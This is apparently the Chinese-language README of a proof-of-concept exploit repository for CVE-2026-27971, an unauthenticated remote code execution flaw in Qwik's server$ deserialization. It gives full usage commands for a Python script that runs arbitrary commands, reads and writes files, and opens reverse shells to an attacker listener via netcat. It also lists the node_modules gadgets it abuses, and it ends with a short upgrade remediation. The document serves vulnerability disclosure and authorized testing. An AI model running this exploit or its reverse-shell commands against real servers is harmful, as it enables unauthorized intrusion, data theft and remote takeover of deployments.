server$ 未认证 RCE PoC[!WARNING] 本仓库包含一个活跃的远程代码执行概念验证。请仅对您拥有或明确获授权测试的系统使用。作者对未经授权的使用或造成的损害不承担任何责任。
CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 的独立 Python 概念验证,该漏洞是 Qwik server$ RPC 反序列化机制中的一个未认证远程代码执行漏洞。
该 PoC 可执行主动标记探测、执行命令、读取或写入文本文件,并在 Linux 或 Windows 目标上请求反向 Shell。它仅使用 Python 标准库。
| 字段 | 值 |
|---|
| 产品 | Qwik — npm 包 @builder.io/qwik |
| 受影响版本 | <= 1.19.0 |
| 已修复版本 | 1.19.1 |
| 漏洞 | 通过不安全的 server$ 反序列化实现未认证远程代码执行 |
| 运行时条件 | 运行时必须提供 require() |
| CWE | CWE-502 — 不可信数据的反序列化 |
| 严重性 | 严重 — CVSS 4.0: 9.2 |
| 向量 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
精心构造的 application/qwik-json 请求可以引用服务端模块及导出的符号。受影响的 Qwik 版本可能通过运行时 require() 解析未注册的 QRL 并在无需认证的情况下调用它。此 PoC 尝试调用目标 node_modules 中已存在的兼容进程执行导出。
操作者:
server$/Qwik JSON 请求的确切 Qwik 路由。目标:
@builder.io/qwik <= 1.19.0 的受影响 Qwik 部署。require()。node_modules 中可访问的兼容 gadget 模块与导出。PATH 中可用的 node。无需第三方 Python 包。
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
无需发送请求即可列出内置 gadget:
python3 exploit_combat.py --list-gadgets
运行主动标记探测并尝试所有内置 gadget:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probe并非被动的版本检测。它会尝试远程代码执行,并通过从目标进程打印标记来确认执行成功。
执行命令:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
读取 UTF-8 文本文件:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
写入并验证 UTF-8 文本文件:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
启动持久监听器后请求反向 Shell:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
当自动操作系统检测不适用时,强制使用 Windows 反向 Shell 载荷:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
该脚本不会启动监听器。--callback 预检查会在发送 Shell 载荷之前打开并关闭一个独立的 TCP 连接,因此请使用能够接受多个连接的监听器。
| 选项 | 说明 |
|---|---|
-t URL, --target URL | 确切的目标 URL。默认值:http://localhost:3000。不会自动发现路由。 |
--probe | 主动执行标记载荷并尝试操作系统检测。 |
-c CMD, --CMD CMD | 通过 Node.js child_process.execSync() 执行命令。 |
--read PATH | 使用 fs.readFileSync() 读取 UTF-8 文本文件。 |
--write PATH --content TEXT | 写入文本文件、读回并比对结果。不会创建父目录。 |
--list-gadgets | 打印内置 gadget 名称并退出,不发起网络请求。 |
--lhost IP | 启用反向 Shell 模式并设置回调地址。 |
--lport PORT | 设置回调端口。默认值:4444。 |
--rev-all | 发送所有反向 Shell 变体,而非在第一个被接受的 HTTP 请求后停止。 |
--callback | 在发送反向 Shell 载荷前测试出站 TCP 可达性。 |
--OS {auto,linux,windows} | 选择反向 Shell 载荷系列。默认值:auto。 |
--gadget SPEC | 使用 auto、内置名称或自定义 <module>#<symbol>。默认值:cross-spawn.sync。 |
--arg-style {argv,command,shell} | 自定义 <module>#<symbol> gadget 的参数风格。 |
--timeout SECONDS | 客户端 HTTP 超时时间。默认值:30。 |
--verify-ssl | 启用 TLS 证书与主机名验证。默认情况下验证处于禁用状态。 |
操作模式在解析器中并非互斥。每次调用请仅使用 --probe、--CMD、--read、--write 或 --lhost 其中之一。
| 名称 | 模块与导出 | 风格 |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto 会按所列顺序测试这些 gadget。也可以按如下方式提供自定义 gadget:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync,而非自动发现。当目标依赖布局未知时,请使用 --gadget auto。--read 期望 UTF-8,--write 不适用于二进制数据。--rev-all 可能在目标上启动多个进程或回调。请仅在隔离的实验室环境中使用。将 @builder.io/qwik 升级至 1.19.1 或更高版本,更新锁文件,重新构建应用程序,并重新部署所有服务端构件。仅移除兼容的 gadget 并不能彻底修复 Qwik 的底层漏洞。
本项目仅供安全研究、防御性验证和授权测试使用。未经明确许可,请勿对任何系统使用本项目。